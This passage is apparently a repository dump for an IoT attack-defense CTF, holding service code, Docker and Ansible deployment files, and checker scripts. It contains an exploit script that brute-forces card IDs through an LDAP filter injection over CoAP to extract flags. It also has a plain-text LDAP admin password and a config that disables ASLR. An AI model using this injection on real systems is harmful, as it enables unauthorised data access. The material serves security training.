'coap://127.0.0.1/get_card?lock=AAA&card=1234' 9 | -------------------------------------------------------------------------------- /services/thermometer/module/Dockerfile.compile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache make gcc musl-dev libuuid libc6-compat openssl-dev util-linux-dev libmicrohttpd-dev mariadb-dev bash 4 | 5 | COPY paho.mqtt.c /usr/src/paho.mqtt.c 6 | WORKDIR /usr/src/paho.mqtt.c 7 | RUN make 8 | 9 | COPY src /usr/src/module 10 | WORKDIR /usr/src/module 11 | RUN make && make install 12 | -------------------------------------------------------------------------------- /vuln_image/roles/tv_service/files/tv.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=TV Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/tv/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/tv/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django.contrib.auth.models import User, Group 3 | from . import models 4 | 5 | 6 | @admin.register(models.Refrigerator) 7 | class RefrigeratorAdmin(admin.ModelAdmin): 8 | list_display = ('id', 'owner', 'title', 'description') 9 | 10 | 11 | admin.site.unregister(User) 12 | admin.site.unregister(Group) -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-reset-db.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | service slapd stop 6 | 7 | rm -vrf /var/lib/ldap 8 | mkdir /var/lib/ldap && chown openldap.openldap /var/lib/ldap 9 | 10 | service slapd start 11 | 12 | ./ldap-dpkg-reconfigure.sh 13 | 14 | ./ldap-add-locks.sh 15 | 16 | ./ldap-init.sh 17 | 18 | ./ldap-search.sh * 19 | 20 | echo "`basename $0`: success!" 21 | 22 | -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/files/fridge.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Fridge Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/doorlock/ldap/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | sudo apt update 2 | sudo apt install slapd ldap-utils 3 | sudo dpkg-reconfigure slapd 4 | # sudo apt install lat 5 | 6 | iot.phdays.com 7 | phdays 8 | Administrator password: XfhC57uwby3plBWD 9 | 10 | Base DN: dc=iot,dc=phdays,dc=com 11 | Username: cn=admin,dc=iot,dc=phdays,dc=com 12 | Password: XfhC57uwby3plBWD 13 | 14 | sudo ./ldap-install.sh 15 | ./ldap-init.sh 16 | -------------------------------------------------------------------------------- /vuln_image/roles/doorlock_service/files/doorlock.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Doorlock Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/doorlock/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/doorlock/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/files/coffeepot.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Coffeepot Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /vuln_image/roles/thermometer_service/files/thermometer.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Thermometer Service 3 | Requires=docker.service 4 | After=docker.service 5 | 6 | [Service] 7 | Restart=always 8 | ExecStart=/usr/bin/docker-compose -f /home/ctf/thermometer/docker-compose.yml up 9 | ExecStop=/usr/bin/docker-compose -f /home/ctf/thermometer/docker-compose.yml down 10 | 11 | [Install] 12 | WantedBy=default.target 13 | -------------------------------------------------------------------------------- /services/doorlock/docker-wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [ -f /var/lib/ldap/DB_CONFIG ] || /app/ldap-dpkg-reconfigure.sh # to populate 'ldap' volume 4 | 5 | /usr/sbin/slapd -h ldap://127.0.0.1:389/ -g openldap -u openldap -F /etc/ldap/slapd.d -d Config & 6 | 7 | while ! nc -z 127.0.0.1 389 8 | do 9 | sleep 1 10 | echo "Waiting for slapd ... " 11 | done 12 | 13 | /app/ldap-init.sh 14 | 15 | /app/doorlock-server 16 | 17 | -------------------------------------------------------------------------------- /services/doorlock/README: -------------------------------------------------------------------------------- 1 | COPY NEEDED FILES TO VIULNBOX: 2 | 3 | ./copy-vulnbox-files.sh DIR 4 | 5 | If DIR does not exist, it will be created. 6 | Example: ./copy-vulnbox-files.sh /mnt/vulnbox/home/ctf/doorlock/ 7 | 8 | BUILD DOCKER CONTAINER: 9 | 10 | ./docker-build.sh 11 | 12 | 13 | CREATE VOLUME FOR LDAP DATA: 14 | 15 | ./docker-create-volume.sh 16 | 17 | 18 | RUN DOCKER CONTAINER: 19 | 20 | ./docker-run.sh 21 | 22 | -------------------------------------------------------------------------------- /services/thermometer/module/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache libuuid libc6-compat libmicrohttpd mariadb-client-libs bash 4 | 5 | COPY module /usr/bin/ 6 | 7 | COPY 01-disable-aslr.conf /etc/sysctl.d/01-disable-aslr.conf 8 | 9 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 10 | RUN chmod +x /usr/bin/wait-for-it.sh 11 | 12 | EXPOSE 8888 13 | 14 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-broker:1883", "--", "/usr/bin/module"] 15 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache mosquitto mariadb-client-libs openssl openssl-dev bash 4 | COPY mosquitto.conf /etc/mosquitto/mosquitto.conf 5 | COPY auth-plug.so /usr/lib/ 6 | 7 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 8 | RUN chmod +x /usr/bin/wait-for-it.sh 9 | 10 | EXPOSE 1883 11 | 12 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-db:3306", "--", "mosquitto", "-v", "-c", "/etc/mosquitto/mosquitto.conf"] 13 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | MAINTAINER bay@hackerdom.ru 3 | 4 | RUN useradd coffeepot 5 | 6 | ADD coffeepot /home/coffeepot 7 | RUN chown -R coffeepot:coffeepot /home/coffeepot/pots 8 | RUN chmod +x /home/coffeepot/coffee_httpd 9 | RUN chmod +x /home/coffeepot/coffeepot.cgi 10 | RUN chmod -R +r /home/coffeepot 11 | 12 | WORKDIR /home/coffeepot 13 | USER coffeepot 14 | 15 | CMD /home/coffeepot/coffee_httpd 0.0.0.0:3255 16 | 17 | EXPOSE 3255 -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/Makefile: -------------------------------------------------------------------------------- 1 | PROG = coffee_httpd 2 | SOURCES = $(PROG).c mongoose.c 3 | CFLAGS = -Ofast -W -Wall -I../.. $(CFLAGS_EXTRA) 4 | # CFLAGS = -fsanitize=leak -fsanitize=undefined -fsanitize=bounds -O1 -fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls -g -W -Wall -I../.. $(CFLAGS_EXTRA) 5 | 6 | all: $(PROG) 7 | 8 | $(PROG): $(SOURCES) 9 | $(CC) $(SOURCES) -o $@ $(CFLAGS) 10 | 11 | clean: 12 | rm -f $(PROG) 13 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for fridge project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "fridge.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /sploits/doorlock/sploit-injection.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: `basename $0` HOST [START_ID]" 6 | echo 7 | echo "On the first run, do not pass START_ID" 8 | echo "On next runs, pass last seen ID as START_ID" 9 | exit 1 10 | fi 11 | 12 | for id in `seq $2 9999` 13 | do 14 | FLAG=`coap -T get "coap://$1/get_card?lock=_&card=$id)(%26))"` 15 | echo $id: $FLAG 16 | if [[ $FLAG == *EMPTY* ]] 17 | then 18 | break 19 | fi 20 | done 21 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache make gcc g++ musl-dev util-linux-dev mariadb-dev 4 | 5 | COPY mosquitto /usr/mosquitto 6 | COPY mosquitto-config.mk /usr/mosquitto/config.mk 7 | 8 | COPY mosquitto-auth-plug /usr/mosquitto-auth-plug 9 | COPY mosquitto-auth-plug-config.mk /usr/mosquitto-auth-plug/config.mk 10 | COPY be-mysql.c /usr/mosquitto-auth-plug/ 11 | 12 | WORKDIR /usr/mosquitto 13 | RUN make binary 14 | WORKDIR /usr/mosquitto-auth-plug 15 | RUN make 16 | 17 | VOLUME ["/auth-plugin"] 18 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug-config.mk: -------------------------------------------------------------------------------- 1 | # Select your backends from this list 2 | BACKEND_CDB ?= no 3 | BACKEND_MYSQL ?= yes 4 | BACKEND_SQLITE ?= no 5 | BACKEND_REDIS ?= no 6 | BACKEND_POSTGRES ?= no 7 | BACKEND_LDAP ?= no 8 | BACKEND_HTTP ?= no 9 | BACKEND_JWT ?= no 10 | BACKEND_MONGO ?= no 11 | 12 | # Specify the path to the Mosquitto sources here 13 | MOSQUITTO_SRC = /usr/mosquitto 14 | 15 | # Specify the path the OpenSSL here 16 | OPENSSLDIR = /usr 17 | 18 | # Specify optional/additional linker flags here 19 | LDFLAGS = 20 | -------------------------------------------------------------------------------- /services/doorlock/ldap/LINKS.TXT: -------------------------------------------------------------------------------- 1 | https://guillaumemaka.com/2013/07/17/openldap-create-a-custom-ldap-schema.html 2 | https://access.redhat.com/documentation/en-US/Red_Hat_Directory_Server/8.1/html/Configuration_and_Command_Reference/Configuration_Command_File_Reference-Command_Line_Utilities-ldapsearch.html 3 | 4 | https://access.redhat.com/documentation/en-US/Red_Hat_Directory_Server/8.2/html/Administration_Guide/Examples-of-common-ldapsearches.html 5 | 6 | http://pro-ldap.ru/tr/zytrax/ 7 | # Appendix E: LDAP - Object Classes and Attributes 8 | http://www.zytrax.com/books/ldap/ape/ 9 | -------------------------------------------------------------------------------- /checkers/fridge/checklib/utils.py: -------------------------------------------------------------------------------- 1 | import os.path 2 | import sys 3 | 4 | def checklib_location(): 5 | return os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) 6 | 7 | 8 | def checker_location(): 9 | return os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(sys.argv[0]))) 10 | 11 | 12 | def merge_dicts(*dicts): 13 | ''' 14 | Given any number of dicts, shallow copy and merge into a new dict, 15 | precedence goes to key value pairs in latter dicts. 16 | ''' 17 | result = {} 18 | for dictionary in dicts: 19 | result.update(dictionary) 20 | return result -------------------------------------------------------------------------------- /services/thermometer/prepare_for_deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker-compose -f docker-compose-compile-binaries.yml up --build 4 | docker-compose -f docker-compose-build-images.yml build 5 | 6 | mkdir -p ../../vuln_image/docker_images 7 | 8 | for name in mqtt-db mqtt-broker module sensor; do 9 | echo Exporting thermometer/$name -> ../../vuln_image/docker_images/$name 10 | docker image save -o ../../vuln_image/docker_images/$name thermometer/$name 11 | 12 | echo Zipping ../../vuln_image/docker_images/$name -> ../../vuln_image/docker_images/$name.tgz 13 | gzip -f -S .tgz ../../vuln_image/docker_images/$name 14 | done 15 | -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Copy fridge service from host 4 | copy: 5 | src: ../services/fridge 6 | dest: /home/ctf/ 7 | owner: ctf 8 | group: ctf 9 | 10 | - name: Build fridge containers 11 | command: /usr/bin/docker-compose -f /home/ctf/fridge/docker-compose.yml build 12 | 13 | - name: Copy fridge systemd script 14 | copy: 15 | src: files/fridge.service 16 | dest: /etc/systemd/system 17 | 18 | - name: Enable fridge service 19 | systemd: 20 | name: fridge 21 | enabled: yes 22 | state: started 23 | daemon_reload: yes 24 | -------------------------------------------------------------------------------- /services/doorlock/Makefile: -------------------------------------------------------------------------------- 1 | doorlock-server: doorlock-server.cpp 2 | g++ -I./include -I./include/coap -isystem./include/coap -pedantic -Wall \ 3 | -Wno-write-strings -Wno-sign-compare \ 4 | -g -O2 -fdiagnostics-color -D_GNU_SOURCE -DWITH_POSIX \ 5 | -MT doorlock-server.o -MD -MP -c -o doorlock-server.o doorlock-server.cpp 6 | gcc -isystem../include/coap -I../include/coap -pedantic -Wall \ 7 | -std=c99 -g -O2 -fdiagnostics-color -D_GNU_SOURCE -DWITH_POSIX \ 8 | -o doorlock-server doorlock-server.o libs/libcoap-1.a -lldap /usr/lib/x86_64-linux-gnu/liblber.a 9 | 10 | clean: 11 | rm doorlock-server doorlock-server.o doorlock-server.d 12 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Copy coffeepot service from host 4 | copy: 5 | src: ../services/coffeepot 6 | dest: /home/ctf/ 7 | owner: ctf 8 | group: ctf 9 | 10 | - name: Build coffeepot containers 11 | command: /usr/bin/docker-compose -f /home/ctf/coffeepot/docker-compose.yml build 12 | 13 | - name: Copy systemd script 14 | copy: 15 | src: files/coffeepot.service 16 | dest: /etc/systemd/system 17 | 18 | - name: Enable coffeepot service 19 | systemd: 20 | name: coffeepot 21 | enabled: yes 22 | state: started 23 | daemon_reload: yes 24 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/views.py: -------------------------------------------------------------------------------- 1 | from django.contrib.auth import forms, views, login 2 | from django.shortcuts import redirect 3 | from django.views.decorators.http import require_POST 4 | 5 | 6 | @require_POST 7 | def registration(request): 8 | form = forms.UserCreationForm(data=request.POST) 9 | if form.is_valid(): 10 | user = form.save() 11 | login(request, user) 12 | return redirect('index') 13 | return LoginView.as_view(extra_context={ 14 | 'registration_form': form 15 | })(request) 16 | 17 | 18 | class LoginView(views.LoginView): 19 | extra_context = { 20 | 'registration_form': forms.UserCreationForm() 21 | } 22 | -------------------------------------------------------------------------------- /services/fridge/config/django.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | MAINTAINER andgein@yandex.ru 4 | 5 | RUN apt-get update 6 | RUN apt-get install -y python3 python3-pip uwsgi uwsgi-plugin-python3 postgresql-client 7 | 8 | # Install application requirements 9 | ADD ./web/requirements.txt / 10 | RUN pip3 install -U pip 11 | RUN pip3 install -Ur /requirements.txt 12 | 13 | # Add code 14 | ADD ./web /srv 15 | 16 | # Add start script 17 | ADD ./config/django.start.sh / 18 | RUN chmod +x ./django.start.sh 19 | 20 | # Add uWSGI config 21 | ADD ./config/django.uwsgi.ini /etc/uwsgi/fridge.ini 22 | 23 | # Add database check script 24 | ADD ./config/db.check.py / 25 | 26 | # Execute start script 27 | CMD ["./django.start.sh"] -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/olcDatabase={0}config.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 e181939b 3 | dn: olcDatabase={0}config 4 | objectClass: olcDatabaseConfig 5 | olcDatabase: {0}config 6 | olcAccess: {0}to * by * none 7 | olcAddContentAcl: TRUE 8 | olcLastMod: TRUE 9 | olcMaxDerefDepth: 15 10 | olcReadOnly: FALSE 11 | olcRootDN: cn=config 12 | olcSyncUseSubentry: FALSE 13 | olcMonitoring: FALSE 14 | structuralObjectClass: olcDatabaseConfig 15 | entryUUID: 1df0cfb6-c2f4-1036-964a-aff1bf41bfdc 16 | creatorsName: cn=config 17 | createTimestamp: 20170501195714Z 18 | entryCSN: 20170501195714.747043Z#000000#000#000000 19 | modifiersName: cn=config 20 | modifyTimestamp: 20170501195714Z 21 | -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/olcDatabase={-1}frontend.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 7f034d54 3 | dn: olcDatabase={-1}frontend 4 | objectClass: olcDatabaseConfig 5 | objectClass: olcFrontendConfig 6 | olcDatabase: {-1}frontend 7 | olcAddContentAcl: FALSE 8 | olcLastMod: TRUE 9 | olcMaxDerefDepth: 0 10 | olcReadOnly: FALSE 11 | olcSchemaDN: cn=Subschema 12 | olcSyncUseSubentry: FALSE 13 | olcMonitoring: FALSE 14 | structuralObjectClass: olcDatabaseConfig 15 | entryUUID: 1df0c99e-c2f4-1036-9649-aff1bf41bfdc 16 | creatorsName: cn=config 17 | createTimestamp: 20170501195714Z 18 | entryCSN: 20170501195714.747043Z#000000#000#000000 19 | modifiersName: cn=config 20 | modifyTimestamp: 20170501195714Z 21 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "services/thermometer/thermometer-sensor/paho.mqtt.c"] 2 | path = services/thermometer/sensor/paho.mqtt.c 3 | url = https://github.com/eclipse/paho.mqtt.c.git 4 | [submodule "services/thermometer/mosquitto-auth-plugin/mosquitto"] 5 | path = services/thermometer/mosquitto-auth-plugin/mosquitto 6 | url = https://github.com/eclipse/mosquitto.git 7 | [submodule "services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug"] 8 | path = services/thermometer/mosquitto-auth-plugin/mosquitto-auth-plug 9 | url = https://github.com/jpmens/mosquitto-auth-plug.git 10 | [submodule "services/thermometer/module/paho.mqtt.c"] 11 | path = services/thermometer/module/paho.mqtt.c 12 | url = https://github.com/eclipse/paho.mqtt.c.git 13 | -------------------------------------------------------------------------------- /services/doorlock/copy-vulnbox-files.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$1" ] 4 | then 5 | echo "Usage: `basename $0` DIR" 6 | echo 7 | echo "Copies needed files to vulnbox" 8 | echo "If DIR does not exist, it will be created" 9 | echo 10 | exit 1 11 | fi 12 | 13 | if [ ! -d "$1" ] 14 | then 15 | mkdir -v "$1" 16 | fi 17 | 18 | cp -v Makefile doorlock-server.cpp "$1" 19 | cp -v Dockerfile docker-*.sh "$1" 20 | cp -rv libs "$1" 21 | cp -rv include "$1" 22 | 23 | mkdir "$1/ldap/" 24 | cp -v ldap/doorlock.schema \ 25 | ldap/ldap-dpkg-reconfigure.sh \ 26 | ldap/ldap-init.sh \ 27 | ldap/ldap.cfg \ 28 | ldap/add-locks.ldif \ 29 | "$1/ldap/" 30 | 31 | cp -rv ldap/slapd.d/ "$1/ldap/" 32 | 33 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-dpkg-reconfigure.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect 2 | 3 | spawn dpkg-reconfigure slapd -freadline 4 | 5 | expect "Omit OpenLDAP server configuration?" 6 | send "no\r" 7 | 8 | expect "DNS domain name:" 9 | send "iot.phdays.com\r" 10 | 11 | expect "Organization name:" 12 | send "phdays\r" 13 | 14 | expect "Administrator password:" 15 | send "XfhC57uwby3plBWD\r" 16 | 17 | expect "Confirm password:" 18 | send "XfhC57uwby3plBWD\r" 19 | 20 | expect "Database backend to use:" 21 | send "2\r" 22 | 23 | expect "Do you want the database to be removed when slapd is purged?" 24 | send "no\r" 25 | 26 | expect "Move old database?" 27 | send "yes\r" 28 | 29 | expect "Allow LDAPv2 protocol?" 30 | send "no\r" 31 | 32 | # done 33 | expect eof 34 | -------------------------------------------------------------------------------- /services/tv/im/type.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | ]> 19 |5 | Sign in and create unlimited refrigerators, add information about your food and favourite recipes. 6 | You can also connect your IoT kitchen gadgets to our API. 7 |
8 |9 | {% if user.is_authenticated %} 10 | 13 | 16 | {% else %} 17 | 20 | 23 | {% endif %} 24 |
25 |13 | {{ refrigerator.description|linebreaksbr }} 14 |
15 | 16 | {% for food_item in refrigerator.items.all %} 17 |13 | {{ recipe.description|linebreaksbr }} 14 |
15 | 16 | {% for recipe_item in recipe.items.all %} 17 |24 | And wait for {{ recipe_item.pause_after }} second{{ recipe_item.pause_after|pluralize }} 25 |
26 | {% endif %} 27 |18 | {{ field.help_text|safe }} 19 |
20 | {% endif %} 21 |43 | {{ field.help_text|safe }} 44 |
45 | {% endif %} 46 |23 | Fridge is an innovate web-interface for you home and office fridges. 24 |
25 |26 | Sign in and register unlimited refrigerators, add information about your food and favourite recipes. 27 | Our service has also special API for automated cook services (see port 9595). 28 |
29 |